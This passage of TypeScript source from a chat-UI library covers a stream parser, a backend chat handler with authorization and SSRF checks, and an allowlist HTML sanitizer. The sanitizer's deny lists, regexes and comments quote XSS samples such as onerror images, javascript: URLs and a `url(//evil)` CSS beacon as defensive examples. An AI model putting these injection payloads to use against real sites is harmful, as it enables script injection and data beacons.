_createArtifactSegment(mimeType: string, title?: string): AparteArtifactSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'artifact',\n mimeType,\n artifactType: deriveArtifactKind(mimeType),\n title,\n content: ''\n };\n }\n\n private _isPartialMatch(buffer: string, pattern: string): boolean {\n for (let i = 1; i < pattern.length; i++) {\n if (buffer.endsWith(pattern.slice(0, i))) {\n return true;\n }\n }\n return false;\n }\n\n private _getPartialMatchLength(buffer: string, pattern: string): number {\n for (let i = pattern.length - 1; i >= 1; i--) {\n if (buffer.endsWith(pattern.slice(0, i))) {\n return i;\n }\n }\n return 0;\n }\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Convenience Functions\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Parse a complete markdown string into segments\n * Use this for non-streaming scenarios\n */\nexport function parseMarkdownToSegments(\n content: string,\n options?: AparteStreamParserOptions\n): AparteSegment[] {\n const parser = new AparteStreamParser(options);\n const result = parser.parse(content);\n const finalSegments = parser.finalize();\n return [...result.segments, ...finalSegments];\n}\n\n/**\n * Map a MIME type to a short, stable artifact kind identifier.\n *\n * Resolution order: Anthropic's vendor namespace (`application/vnd.ant.<kind>`),\n * exact standard MIMEs, then a substring rescue for parameterised or vendor\n * variants (`text/html; charset=utf-8`, `application/ld+json`, …). Unrecognised\n * MIMEs return `fallback` (default `'unknown'`) — consumers are expected to\n * guard their renderers accordingly.\n *\n * Canonical implementation. `@aparte/engine` keeps a byte-identical copy (core is\n * an OPTIONAL peer there, so it cannot import this at runtime); the engine's\n * `derive-artifact-kind-parity.test.ts` locks the two together.\n *\n * @example\n * deriveArtifactKind('application/vnd.ant.react') // 'react'\n * deriveArtifactKind('text/html; charset=utf-8') // 'html'\n * deriveArtifactKind('font/woff2', 'text') // 'text' (fallback)\n */\nexport function deriveArtifactKind(mimeType: string, fallback = 'unknown'): string {\n const m = (mimeType || '').toLowerCase().trim();\n const ant = m.match(/^application\\/vnd\\.ant\\.([a-z0-9-]+)/);\n if (ant) return ant[1]!;\n if (m === 'text/html' || m === 'application/xhtml+xml') return 'html';\n if (m === 'application/javascript' || m === 'text/javascript') return 'js';\n if (m === 'text/css') return 'css';\n if (m === 'image/svg+xml') return 'svg';\n if (m === 'application/json') return 'json';\n if (m === 'text/markdown') return 'markdown';\n if (m === 'text/csv') return 'csv';\n if (m === 'text/plain') return 'text';\n if (m.includes('react')) return 'react';\n if (m.includes('html')) return 'html';\n if (m.includes('javascript')) return 'js';\n if (m.includes('css')) return 'css';\n if (m.includes('svg')) return 'svg';\n if (m.includes('json')) return 'json';\n if (m.includes('csv')) return 'csv';\n if (m.includes('markdown')) return 'markdown';\n return fallback;\n}\n","/**\n * Aparte event stream parser — the wire format for the backend path.\n *\n * A backend that keeps the API key server-side runs the vendor's own parser\n * server-side and streams back **already-normalized `AparteStreamEvent`s, one JSON\n * object per line (NDJSON)**. This parser turns that NDJSON byte stream back\n * into a `ReadableStream<AparteStreamEvent>`, so the client stays fully\n * vendor-agnostic on the backend path (it never needs the vendor-specific\n * `parseStream`). See `transport/backend-transport.ts`.\n */\n\nimport type { AparteStreamEvent } from '../types/index.js';\n\nexport function parseAparteEventStream(\n stream: ReadableStream<Uint8Array>,\n): ReadableStream<AparteStreamEvent> {\n const decoder = new TextDecoder();\n let buffer = '';\n let sawDone = false;\n\n return new ReadableStream<AparteStreamEvent>({\n async start(controller) {\n const reader = stream.getReader();\n const emit = (line: string): void => {\n const trimmed = line.trim();\n if (!trimmed) return;\n try {\n const event = JSON.parse(trimmed) as AparteStreamEvent;\n if (event && typeof (event as { type?: unknown }).type === 'string') {\n controller.enqueue(event);\n if (event.type === 'done') sawDone = true;\n }\n } catch { /* skip a malformed / partial line */ }\n };\n try {\n while (true) {\n const { done, value } = await reader.read();\n if (done) break;\n buffer += decoder.decode(value, { stream: true });\n const lines = buffer.split('\\n');\n buffer = lines.pop() ?? '';\n for (const line of lines) emit(line);\n }\n if (buffer.trim()) emit(buffer);\n if (!sawDone) controller.enqueue({ type: 'done' });\n } catch (err) {\n controller.enqueue({ type: 'error', message: (err as Error)?.message ?? 'Stream error' });\n } finally {\n reader.releaseLock();\n controller.close();\n }\n },\n });\n}\n","import type { AparteChatRequest, AparteChatResponse } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteTransport, AparteTransportContext } from './types.js';\nimport { vendorErrorMessage } from './types.js';\nimport { parseAparteEventStream } from '../parsers/index.js';\n\nexport interface BackendTransportOptions {\n /** Your backend chat endpoint, e.g. `/api/chat`. */\n endpoint: string;\n /** Extra headers to send with each request (session cookie is automatic). */\n headers?: Record<string, string>;\n /**\n * Override how the request is serialised to your backend. Default body is\n * `{ providerId, request }`. Return any JSON-serialisable value.\n */\n buildBody?: (request: AparteChatRequest, providerId: string) => unknown;\n}\n\n/**\n * Backend-proxied transport — RECOMMENDED for production.\n *\n * POSTs `{ providerId, request }` to YOUR endpoint. The backend resolves the API\n * key server-side, calls the vendor, runs the vendor parser **server-side**, and\n * streams back already-normalized `AparteStreamEvent`s as NDJSON (one JSON object\n * per line). The key never reaches the browser and — unlike a raw proxy — the\n * client stays fully vendor-agnostic (it never runs the vendor's `parseStream`,\n * so switching the server-side provider needs no client change). Non-streaming\n * requests get a JSON `{ text }` reply.\n *\n * This is NOT the Vercel AI SDK Data Stream Protocol; the wire format is a plain\n * NDJSON of `AparteStreamEvent` (see `parseAparteEventStream`).\n *\n * The matching `/api/chat` handler ships as a real, framework-free function —\n * {@link createAparteChatHandler} (Web `fetch` API, same @aparte adapters run\n * server-side, key held server-side). Drop it into a Next.js route handler,\n * Deno, Bun, or a Worker rather than hand-rolling one.\n */\nexport class AparteBackendTransport implements AparteTransport {\n constructor(private readonly options: BackendTransportOptions) {}\n\n async chat(\n _provider: AparteAIProvider,\n request: AparteChatRequest,\n _auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse> {\n // The backend owns the vendor mapping + key, so no client-side format\n // adapter is required — only the providerId, so it knows which vendor to call.\n const body = this.options.buildBody\n ? this.options.buildBody(request, ctx.providerId)\n : { providerId: ctx.providerId, request };\n\n const response = await fetch(this.options.endpoint, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json', ...this.options.headers },\n body: JSON.stringify(body),\n signal: ctx.signal,\n });\n\n if (!response.ok) {\n throw new Error(await vendorErrorMessage(response, 'Backend HTTP'));\n }\n\n if (request.stream === false) {\n const json = await response.json();\n const text = (json as { text?: unknown })?.text;\n return typeof text === 'string' ? text : (typeof json === 'string' ? json : JSON.stringify(json));\n }\n if (!response.body) {\n throw new Error('Backend returned no response body for a streaming request.');\n }\n return parseAparteEventStream(response.body);\n }\n}\n","import type { AparteChatRequest } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport { isFormatAdapter } from './types.js';\n\nexport interface AparteChatHandlerOptions {\n /**\n * Your server-side format adapters, keyed by the `providerId` the client\n * sends. The same adapters as the browser (`@aparte/provider-*`), running here\n * so the vendor key never leaves the server.\n */\n providers: Record<string, AparteAIProvider>;\n /**\n * Gate run on EVERY request before any work. **Required.**\n *\n * This endpoint spends your server-held vendor key, so leaving it open means\n * anyone who finds the URL spends your money. It used to be optional, and both\n * the JSDoc example here and the primary snippet in the docs omitted it — so\n * the copy-paste path was the unauthenticated one. Making it required moves\n * that decision from \"did you notice?\" to a compile error.\n *\n * Return `false` to reject with 401, a `Response` to reject with your own\n * status/body (e.g. 403 + a message), or `true` to proceed. Reads\n * cookies/headers via `req`.\n *\n * A deliberately open endpoint is still possible — `authorize: () => true` —\n * but now it is a line someone wrote on purpose.\n */\n authorize: (req: Request) => boolean | Response | Promise<boolean | Response>;\n /**\n * Resolve the vendor API key for a providerId — from env / a secret store.\n * Runs server-side only. Return `undefined` for keyless/local providers.\n */\n resolveKey?: (providerId: string) => string | undefined | Promise<string | undefined>;\n /**\n * The `fetch` used to call the vendor. Defaults to the global `fetch`\n * (Node 18+, Deno, Bun, Workers). Override in tests or to add a proxy.\n */\n fetchImpl?: typeof fetch;\n}\n\n/**\n * Build a framework-free `/api/chat` handler for {@link AparteBackendTransport} — the\n * server counterpart that keeps the key off the client.\n *\n * The returned handler speaks the Web `fetch` API (`Request` → `Response`), so\n * it drops into a Next.js route handler, Deno, Bun, or a Cloudflare Worker\n * unchanged. It reads `{ providerId, request }`, runs the matching format\n * adapter **server-side** (buildRequest → auth → vendor fetch → parseStream),\n * and streams back normalized `AparteStreamEvent`s as NDJSON — the exact wire\n * format `AparteBackendTransport` expects. The vendor key is injected here and never\n * travels to the browser.\n *\n * ```ts\n * // app/api/chat/route.ts (Next.js)\n * import { createAparteChatHandler } from '@aparte/core';\n * import { createOpenAICompatProvider, presets } from '@aparte/provider-openai-compat';\n * export const POST = createAparteChatHandler({\n * providers: { openai: createOpenAICompatProvider(presets.OPENAI) },\n * resolveKey: (id) => process.env[`${id.toUpperCase()}_KEY`],\n * // Required: this route spends your key. Your own session check goes here.\n * authorize: async (req) => Boolean(await getSession(req)),\n * });\n * ```\n */\nexport function createAparteChatHandler(\n options: AparteChatHandlerOptions,\n): (req: Request) => Promise<Response> {\n const doFetch = options.fetchImpl ?? fetch;\n\n return async function handler(req: Request): Promise<Response> {\n // Auth gate first: this route spends the server-held key, so reject\n // unauthorized callers before parsing or doing any work. Required by the\n // type — there is no path through here without a verdict.\n const verdict = await options.authorize(req);\n if (verdict instanceof Response) return verdict;\n if (!verdict) return jsonError(401, 'Unauthorized.');\n\n let providerId: string;\n let request: AparteChatRequest;\n try {\n const parsed = (await req.json()) as { providerId?: unknown; request?: unknown };\n if (typeof parsed?.providerId !== 'string' || !parsed?.request || typeof parsed.request !== 'object') {\n return jsonError(400, 'Body must be { providerId: string, request: AparteChatRequest }.');\n }\n providerId = parsed.providerId;\n request = parsed.request as AparteChatRequest;\n } catch {\n return jsonError(400, 'Invalid JSON body.');\n }\n\n const adapter = options.providers[providerId];\n if (!adapter) {\n return jsonError(400, `Unknown providerId \"${providerId}\". Register it in the handler's providers map.`);\n }\n if (!isFormatAdapter(adapter)) {\n return jsonError(500, `Provider \"${providerId}\" is not a format adapter (needs buildRequest + parseStream).`);\n }\n\n const built = adapter.buildRequest(request);\n // Guard against an adapter returning a non-rooted path that could redirect\n // this server-key'd call to another origin (SSRF): require a single-rooted\n // path — never protocol-relative (`//host`) nor an absolute URL.\n if (!built.path.startsWith('/') || built.path.startsWith('//')) {\n return jsonError(500, `Provider \"${providerId}\" produced a non-rooted request path.`);\n }\n const key = await options.resolveKey?.(providerId);\n\n let url = `${adapter.defaultEndpoint}${built.path}`;\n const headers: Record<string, string> = { 'Content-Type': 'application/json', ...built.headers };\n if (key && adapter.authHeaders) Object.assign(headers, adapter.authHeaders(key));\n if (key && adapter.authQuery) {\n const qs = new URLSearchParams(adapter.authQuery(key)).toString();\n url += (url.includes('?') ? '&' : '?') + qs;\n }\n\n let vendor: Response;\n try {\n vendor = await doFetch(url, {\n method: 'POST',\n headers,\n body: JSON.stringify(built.body),\n signal: req.signal, // a client disconnect aborts the vendor call too\n });\n } catch (err) {\n return jsonError(502, `Vendor request failed: ${(err as Error)?.message ?? 'network error'}`);\n }\n\n // A vendor error is SUMMARISED, not relayed byte-for-byte.\n //\n // The verbatim body leaked material a caller has no business seeing: an\n // OpenAI 401 reads `Incorrect API key provided: sk-proj-****abcd`, which\n // hands over the key's prefix, tail and format; other vendors echo org ids\n // and request fragments. Status and machine-readable code/type are enough\n // for a client to react; the vendor's prose is for the server's logs.\n if (!vendor.ok) {\n const raw = await vendor.text().catch(() => '');\n let code: unknown;\n let type: unknown;\n try {\n const parsed = JSON.parse(raw) as { error?: { code?: unknown; type?: unknown } };\n code = parsed?.error?.code;\n type = parsed?.error?.type;\n } catch { /* not JSON — nothing to salvage, and nothing to leak */ }\n return new Response(\n JSON.stringify({\n error: {\n message: `Vendor request failed (HTTP ${vendor.status}).`,\n ...(typeof code === 'string' ? { code } : {}),\n ...(typeof type === 'string' ? { type } : {}),\n },\n }),\n { status: vendor.status, headers: { 'Content-Type': 'application/json' } },\n );\n }\n\n // Non-streaming: resolve to { text } server-side.\n if (request.stream === false) {\n const json = await vendor.json().catch(() => ({}));\n const text = typeof adapter.parseText === 'function' ? adapter.parseText(json) : '';\n return new Response(JSON.stringify({ text }), {\n headers: { 'Content-Type': 'application/json' },\n });\n }\n\n if (!vendor.body) {\n return jsonError(502, 'Vendor returned no response body for a streaming request.');\n }\n\n // Normalize the vendor stream to AparteStreamEvents server-side, re-emit as\n // NDJSON (one JSON object per line) — what parseAparteEventStream reads.\n const events = adapter.parseStream(vendor.body).getReader();\n const encoder = new TextEncoder();\n const ndjson = new ReadableStream<Uint8Array>({\n async pull(controller) {\n try {\n const { done, value } = await events.read();\n if (done) {\n controller.close();\n return;\n }\n controller.enqueue(encoder.encode(JSON.stringify(value) + '\\n'));\n } catch (err) {\n controller.error(err);\n }\n },\n cancel(reason) {\n void events.cancel(reason);\n },\n });\n\n return new Response(ndjson, { headers: { 'Content-Type': 'application/x-ndjson' } });\n };\n}\n\nfunction jsonError(status: number, message: string): Response {\n return new Response(JSON.stringify({ error: { message } }), {\n status,\n headers: { 'Content-Type': 'application/json' },\n });\n}\n","/**\n * Zero-dependency HTML sanitizer for provider output.\n *\n * Aparte renders LLM-authored content: a markdown or highlight provider turns the\n * assistant's text into HTML that is then injected via `innerHTML`. Prompt\n * injection can make a model emit arbitrary markup (`<img onerror=…>`,\n * `<script>`, `javascript:` URLs), so that HTML is **untrusted** and must be\n * scrubbed before it touches the DOM.\n *\n * This is an allowlist sanitizer built on the browser's own parser: the HTML is\n * parsed into an inert document (scripts never execute during\n * `DOMParser.parseFromString`), the tree is rebuilt keeping only known-safe tags\n * and attributes, then re-serialized. It is deliberately conservative and covers\n * the realistic threat model (LLM-emitted markup). For hardened, audited\n * coverage, register DOMPurify via `aparteGlobalConfig.setHtmlSanitizer`.\n */\n\nexport type AparteSanitizer = (html: string) => string;\n\n/** Tags dropped wholesale — content and all (never unwrapped to text). */\nconst DANGEROUS_TAGS = new Set([\n 'script', 'style', 'iframe', 'frame', 'frameset', 'object', 'embed',\n 'applet', 'form', 'button', 'textarea', 'select', 'option', 'optgroup',\n 'link', 'meta', 'base', 'title', 'head', 'html', 'body', 'template',\n 'noscript', 'svg', 'math', 'portal',\n]);\n\n/** Tags kept as-is (with attributes filtered). Anything else is unwrapped to its children. */\nconst ALLOWED_TAGS = new Set([\n 'a', 'p', 'br', 'hr', 'div', 'span', 'pre', 'code', 'kbd', 'samp', 'var',\n 'strong', 'b', 'em', 'i', 'u', 's', 'strike', 'del', 'ins', 'mark', 'small', 'sub', 'sup',\n 'blockquote', 'q', 'cite',\n 'ul', 'ol', 'li', 'dl', 'dt', 'dd',\n 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',\n 'table', 'thead', 'tbody', 'tfoot', 'tr', 'td', 'th', 'caption', 'colgroup', 'col',\n 'img', 'figure', 'figcaption', 'picture', 'source',\n 'input', // GFM task-list checkboxes only (attributes locked down below)\n 'abbr', 'details', 'summary', 'time', 'wbr', 'address',\n]);\n\n/** Attributes allowed on any element. */\nconst GLOBAL_ATTRS = new Set([\n // `id`/`name` are intentionally NOT allowlisted — they enable DOM clobbering\n // and LLM-authored markup has no legitimate need for author-controlled ids.\n 'class', 'style', 'title', 'dir', 'lang', 'role', 'align',\n 'aria-label', 'aria-hidden', 'aria-describedby', 'aria-level',\n]);\n\n/** Extra attributes allowed on specific tags. */\nconst TAG_ATTRS: Record<string, Set<string>> = {\n a: new Set(['href', 'target', 'rel']), // legacy `name` dropped — obsolete + a DOM-clobbering vector\n img: new Set(['src', 'alt', 'width', 'height', 'loading', 'srcset', 'sizes', 'decoding']),\n source: new Set(['src', 'srcset', 'type', 'media', 'sizes']),\n input: new Set(['type', 'checked', 'disabled']),\n td: new Set(['colspan', 'rowspan', 'headers']),\n th: new Set(['colspan', 'rowspan', 'scope', 'headers']),\n col: new Set(['span', 'width']),\n colgroup: new Set(['span']),\n ol: new Set(['start', 'type', 'reversed']),\n time: new Set(['datetime']),\n details: new Set(['open']),\n};\n\n/** URL-bearing attributes whose scheme must be validated. */\nconst URL_ATTRS = new Set(['href', 'src']);\n/** Schemes allowed in href/src. */\nconst SAFE_URL = /^(?:https?:|mailto:|tel:|ftp:|sms:)/i;\n/** In-page / relative references (no explicit scheme). */\nconst RELATIVE_URL = /^(?:[#/.?]|[a-z0-9._~%+-]+(?:[/?#]|$))/i;\n/** data: URLs are only honoured for images, and only for image media types. */\n/**\n * `data:` URLs are only honoured for images, and only for a NAMED image subtype.\n *\n * The subtype group used to be optional (`(?:png|…)?`), so `data:image/,x` and\n * `data:image/;whatever,` sailed through with no media type at all.\n *\n * `svg+xml` is deliberately kept. An SVG loaded through `<img src>` runs in\n * secure-static mode — no scripts, no external fetches — in every engine, and\n * dropping it would break the legitimate case (a model emitting an inline chart\n * or icon). What it must NOT do is travel: an app that moves this URL into an\n * `<object>`, `<embed>` or an iframe leaves secure-static mode and the SVG\n * becomes executable. That constraint belongs to whoever re-hosts it.\n */\nconst SAFE_DATA_IMG = /^data:image\\/(?:png|jpe?g|gif|webp|avif|bmp|x-icon|svg\\+xml)[;,]/i;\n/** Whitespace + C0 control chars, used to obfuscate a scheme (e.g. \" javascript:\" or \"java\\tscript:\"). */\n// eslint-disable-next-line no-control-regex -- stripping C0 control chars is intentional (anti-obfuscation)\nconst CONTROL_WS = /[\\u0000-\\u0020]+/g;\n\n/**\n * True when a URL is safe to place in a `href`/`src` attribute. Exported so a\n * streaming renderer (which bypasses the one-shot `sanitizeHtml`) can apply the\n * same URL policy live. `tag` is the host element ('a', 'img', …) — `data:image`\n * URLs are only allowed on `img`.\n */\n/**\n * `srcset` carries N candidate URLs, so the single-URL check does not fit it —\n * and splitting on commas is unreliable, because a `data:` URL legitimately\n * contains one (`data:image/png;base64,AAA 2x, small.png 1x`).\n *\n * So rather than parse candidates, every SCHEME token in the value must itself\n * resolve to an allowed URL: a relative-only srcset has none and passes, while a\n * smuggled scheme is rejected wherever in the value it sits.\n *\n * Found by an audit: `srcset` previously had only a `javascript:|vbscript:`\n * substring test, so `srcset=\"data:text/html,<script>…</script> 1x\"` walked\n * straight through the allowlist that rejects the very same URL on `src`. Low\n * severity — a browser only ever decodes a srcset candidate as an image, never as\n * a document — but the allowlist should not have two different answers for one\n * URL depending on which attribute carries it.\n *\n * `<source>` is validated as `img`: inside a `<picture>` its candidates feed an\n * `<img>`, so the `data:image` policy is the same one that applies there.\n */\nfunction isSafeSrcset(value: string, tag: string): boolean {\n const urlTag = tag === 'source' ? 'img' : tag;\n for (const m of value.matchAll(/[a-z][a-z0-9+.-]*:[^\\s,]*/gi)) {\n if (!isSafeUrl(m[0], urlTag)) return false;\n }\n return true;\n}\n\nexport function isSafeUrl(value: string, tag: string): boolean {\n const v = value.replace(CONTROL_WS, '');\n if (!v) return true; // empty href/src is harmless\n if (SAFE_URL.test(v)) return true;\n if (tag === 'img' && SAFE_DATA_IMG.test(v)) return true;\n // Any other explicit scheme (javascript:, vbscript:, data: on non-img, …) is rejected.\n if (/^[a-z][a-z0-9+.-]*:/i.test(v)) return false;\n return RELATIVE_URL.test(v);\n}\n\n/**\n * Inert, presentational inline-style properties a syntax highlighter / markdown\n * renderer actually emits. An allowlist (not a blocklist) so layout & positioning\n * properties — `position`, `z-index`, `inset`, `top/left/right/bottom`, `width`,\n * `height`, `transform`, … — are dropped by default: those are what a hostile\n * `style` would need to build a full-viewport click-jacking overlay.\n */\nconst SAFE_STYLE_PROPS = new Set([\n 'color', 'background-color',\n 'font-style', 'font-weight', 'font-family', 'font-size',\n 'font-variant', 'font-variant-ligatures',\n 'text-decoration', 'text-decoration-line', 'text-decoration-color', 'text-decoration-style',\n 'white-space',\n]);\n\n/**\n * Keep only allowlisted inline-style declarations, and reject any `url()` beacon,\n * legacy `expression()`, or scheme even on an allowlisted property.\n */\nfunction scrubStyle(value: string): string | null {\n const kept: string[] = [];\n for (const decl of value.split(';')) {\n const trimmed = decl.trim();\n const idx = trimmed.indexOf(':');\n if (idx === -1) continue;\n const prop = trimmed.slice(0, idx).trim().toLowerCase();\n const val = trimmed.slice(idx + 1);\n if (!val.trim() || !SAFE_STYLE_PROPS.has(prop)) continue;\n // A CSS identifier escape is a legal spelling of any character, so\n // `u\\72 l(//evil)` is `url(//evil)` written to walk straight past a\n // regex looking for the letters. DECODING it would be the general fix and\n // is easy to get wrong — stripping the escape yields `ul(`, not `url(`,\n // which is how the first attempt at this passed its own test.\n //\n // So: no backslash survives here at all. None of the properties this\n // allowlist keeps (colours, font weights, text-decoration, white-space)\n // has any legitimate use for a CSS escape, so refusing them outright\n // costs nothing and leaves nothing to decode correctly.\n if (val.includes('\\\\')) continue;\n if (/url\\s*\\(|expression\\s*\\(|javascript:|vbscript:|[<>]/i.test(val)) continue;\n kept.push(trimmed); // preserve the original declaration text (no reformatting)\n }\n return kept.length ? kept.join('; ') : null;\n}\n\nfunction copyAttributes(src: Element, dest: Element, tag: string): void {\n const extra = TAG_ATTRS[tag];\n for (const attr of Array.from(src.attributes)) {\n const name = attr.name.toLowerCase();\n const value = attr.value;\n // Event handlers and form-action overrides are never allowed.\n if (name.startsWith('on') || name.startsWith('formaction')) continue;\n // data-* attributes are inert (no execution path) and widely emitted by\n // markdown/highlight tooling — allowed, matching DOMPurify's default.\n if (!name.startsWith('data-') && !GLOBAL_ATTRS.has(name) && !(extra && extra.has(name))) continue;\n if (URL_ATTRS.has(name) && !isSafeUrl(value, tag)) continue;\n if (name === 'srcset' && !isSafeSrcset(value, tag)) continue;\n if (name === 'style') {\n const scrubbed = scrubStyle(value);\n if (scrubbed === null) continue;\n dest.setAttribute('style', scrubbed);\n continue;\n }\n dest.setAttribute(name, value);\n }\n // Harden external links opened in a new tab against reverse-tabnabbing.\n if (tag === 'a' && dest.getAttribute('target') === '_blank') {\n dest.setAttribute('rel', 'noopener noreferrer');\n }\n}\n\nfunction sanitizeChildren(src: Node, dest: Node, doc: Document): void {\n for (const child of Array.from(src.childNodes)) {\n if (child.nodeType === 3 /* TEXT_NODE */) {\n dest.appendChild(doc.createTextNode(child.nodeValue ?? ''));\n continue;\n }\n if (child.nodeType !== 1 /* ELEMENT_NODE */) continue; // drop comments, CDATA, PIs\n const el = child as Element;\n const tag = el.tagName.toLowerCase();\n if (DANGEROUS_TAGS.has(tag)) continue; // remove entirely — do not surface its text\n if (!ALLOWED_TAGS.has(tag)) {\n sanitizeChildren(el, dest, doc); // unknown-but-benign → unwrap, keep sanitized children\n continue;\n }\n const clean = doc.createElement(tag);\n copyAttributes(el, clean, tag);\n sanitizeChildren(el, clean, doc);\n dest.appendChild(clean);\n }\n}\n\n/**\n * Best-effort scrub for environments WITHOUT a DOM parser (SSR/Node). A regex\n * pass cannot match a real HTML parser and has known evasions (split attributes,\n * unclosed tags, entity tricks): it is a safety net, **not** a security boundary.\n * For untrusted content on a non-browser runtime, register a real sanitizer\n * (e.g. DOMPurify + jsdom) via `aparteGlobalConfig.setHtmlSanitizer`.\n */\nfunction fallbackScrub(html: string): string {\n return html\n .replace(/<\\s*(script|style|iframe|object|embed|form|svg|math|applet|template)\\b[\\s\\S]*?<\\s*\\/\\s*\\1\\s*>/gi, '')\n .replace(/<\\s*(script|style|iframe|object|embed|applet|template|link|meta|base|frame|frameset)\\b[^>]*>/gi, '')\n .replace(/\\son[a-z]+\\s*=\\s*(?:\"[^\"]*\"|'[^']*'|[^\\s>]+)/gi, '')\n .replace(/(?:href|src|xlink:href)\\s*=\\s*(?:\"\\s*(?:javascript|vbscript|data):[^\"]*\"|'\\s*(?:javascript|vbscript|data):[^']*'|(?:javascript|vbscript|data):[^\\s>]*)/gi, '');\n}\n\n/**\n * The built-in sanitizer. Parses `html` with the platform DOMParser, rebuilds an\n * allowlisted tree, and re-serializes it. Falls back to a regex scrub only when\n * no DOMParser exists (non-browser runtime).\n */\nexport const defaultSanitizer: AparteSanitizer = (html: string): string => {\n if (!html) return html;\n if (typeof DOMParser === 'undefined') return fallbackScrub(html);\n let doc: Document;\n try {\n doc = new DOMParser().parseFromString(html, 'text/html');\n } catch {\n return fallbackScrub(html);\n }\n const container = doc.createElement('div');\n sanitizeChildren(doc.body, container, doc);\n return container.innerHTML;\n};\n","/**\n * HTML escaping — one implementation, for every interpolation core makes.\n *\n * There used to be SEVEN copies of this across the package (`_escapeHtml` in the\n * bubble and in the config, `_escapeAttr` in the chat shell, the composer action\n * and the composer input, plus `escapeHtml` and `escapeAttr` in the segment\n * renderers). They had already drifted: the chat shell's copy escaped only `&`,\n * `\"` and `<`, leaving `'` and `>` through, so it was strictly weaker than its\n * six siblings while looking identical at the call site. That is the failure mode\n * a duplicated security helper always ends in — one of them stops matching, and\n * nothing tells you which.\n *\n * Escapes all five characters that matter, which makes the result safe in BOTH\n * text position and quoted-attribute position (single or double quotes). Callers\n * that read better saying \"attribute\" use {@link escapeAttr}, which is this same\n * function under a second name — an alias, deliberately not a second body.\n *\n * PUBLIC. Both names are exported from the barrel and documented in the\n * customization guide, because a render hook that returns a string needs them and\n * telling an author to \"escape it yourself\" without naming the function is how a\n * capability becomes invisible. An earlier version of this comment claimed the\n * opposite (\"not exported from the package barrel… not a public API\") while\n * `index.ts` exported both — the export was real, the comment was not.\n */\nexport function escapeHtml(value: string): string {\n let out = '';\n for (let i = 0; i < value.length; i++) {\n const ch = value[i];\n if (ch === '&') out += '&';\n else if (ch === '<') out += '<';\n else if (ch === '>') out += '>';\n else if (ch === '\"') out += '"';\n else if (ch === \"'\") out += ''';\n else out += ch;\n }\n return out;\n}\n\n/**\n * The same escaping as {@link escapeHtml}, named for the position it guards.\n *\n * An attribute value needs exactly the same five characters escaped as a text\n * node — quotes to keep the value from ending early, angle brackets so a broken\n * value cannot start a tag, and the ampersand so none of it can be smuggled back\n * in as an entity. Two names, one body.\n *\n * REQUIRES A QUOTED ATTRIBUTE. `title=\"${escapeAttr(v)}\"` and `title='…'` are\n * both safe; bare `title=${escapeAttr(v)}` is NOT, because a space, tab, newline\n * or backtick in the value ends an unquoted attribute and starts the next one —\n * and none of those five escaped characters is one of them. An audit raised this\n * as a latent gap (no unquoted interpolation exists in the library today).\n *\n * The fix is to quote the attribute, not to escape harder: encoding spaces would\n * make every legitimate `title=\"Hello world\"` read `Hello world`. So\n * `pnpm check:attr-escaping` now rejects an unquoted attribute interpolation\n * outright rather than trusting this function to cover a position it cannot.\n */\nexport const escapeAttr = escapeHtml;\n","/**\n * AparteConfig\n * \n * Central configuration class for Aparte. `aparteGlobalConfig` is the page-wide instance.\n * Manages providers for Markdown rendering, Syntax Highlighting, Icons, and Skeleton loading.\n * \n * \"Invisible but Flexible\": Works out-of-the-box with sensible defaults,\n * but allows complete customization via dependency injection.\n */\n\nimport { AparteIconProvider, AparteIconName, APARTE_DEFAULT_ICON_FALLBACKS } from './icon-provider.js';\nimport { AparteAvatarProvider } from './avatar-provider.js';\nimport { AparteLocale, APARTE_DEFAULT_LOCALE } from './locale.js';\nimport { AparteAction, AparteActionZone } from './action-provider.js';\nimport { AparteSkeletonProvider, AparteSkeletonType } from './skeleton-provider.js';\nimport type { AparteStatusRenderer } from './status-renderer.js';\nimport type { AparteErrorRenderer } from './error-renderer.js';\nimport type { AparteAttachmentRenderer } from './attachment-renderer.js';\nimport type { AparteElicitationFieldRenderer } from './elicitation-field-renderer.js';\nimport type { AparteSiblingNavRenderer } from './sibling-nav-renderer.js';\nimport type { AparteBubbleShellRenderer } from './bubble-shell-renderer.js';\nimport type { AparteAIProvider, AparteAIModel, AparteModelConfig } from '../types/model-provider.js';\nimport type { AparteTransport } from '../transport/index.js';\nimport { AparteDirectTransport } from '../transport/index.js';\nimport type { AparteTool, AparteToolHandler, AparteToolRenderer } from '../types/tools.js';\nimport type { AparteBubbleActionsConfig, AparteBubbleActionName, AparteHostHandlersConfig } from '../types/models.js';\nimport type { AparteConversationManager } from '../conversations/conversation-manager.js';\nimport { defaultSanitizer, type AparteSanitizer } from './sanitize.js';\nimport type { AparteElicitationPresenter, AparteElicitationRequest, AparteElicitationResult } from '../elicitation/types.js';\nimport { escapeHtml } from '../utils/escape.js';\n\nexport type AparteMarkdownProvider = (raw: string) => string;\nexport type AparteHighlightProvider =\n | ((code: string, lang: string) => string)\n | ((code: string, lang: string) => Promise<string>);\nexport type AparteSystemPromptVarsProvider = () => Record<string, string>;\nexport type AparteLocaleProvider = AparteLocale;\nexport type AparteKeyProvider = (providerId: string) => string | Promise<string | undefined> | undefined;\n\n/**\n * The bubble-action defaults — `copy` on, everything else off.\n *\n * The rule: an affordance core cannot honor end-to-end does not appear by\n * default. Core can copy text by itself; retry and edit only do something when a\n * host (`AparteClient`) re-sends and rewrites, and feedback/info only when the app\n * listens for `aparte-feedback` / `aparte-message-info`. Rendering them\n * unconditionally showed dead buttons in every display-only integration — ours\n * included, which is how we found it.\n *\n * Exported so a consumer can read the defaults instead of hard-coding them.\n */\nexport const APARTE_DEFAULT_BUBBLE_ACTIONS = {\n copy: true,\n retry: false,\n edit: false,\n feedback: false,\n info: false,\n} as const;\n\n/**\n * The host-handler declarations — nothing declared.\n *\n * Same rule as {@link APARTE_DEFAULT_BUBBLE_ACTIONS}, applied outside the action bar: an\n * image tile you can click, a Run button, a download button on a binary artifact\n * are all requests core forwards to the app. Undeclared, they are not rendered\n * (and the tile is not even signalled as clickable) instead of doing nothing.\n */\nexport const APARTE_DEFAULT_HOST_HANDLERS = {\n attachmentPreview: false,\n terminalRun: false,\n artifactRedownload: false,\n artifactRehydrate: false,\n} as const;\n\nexport interface 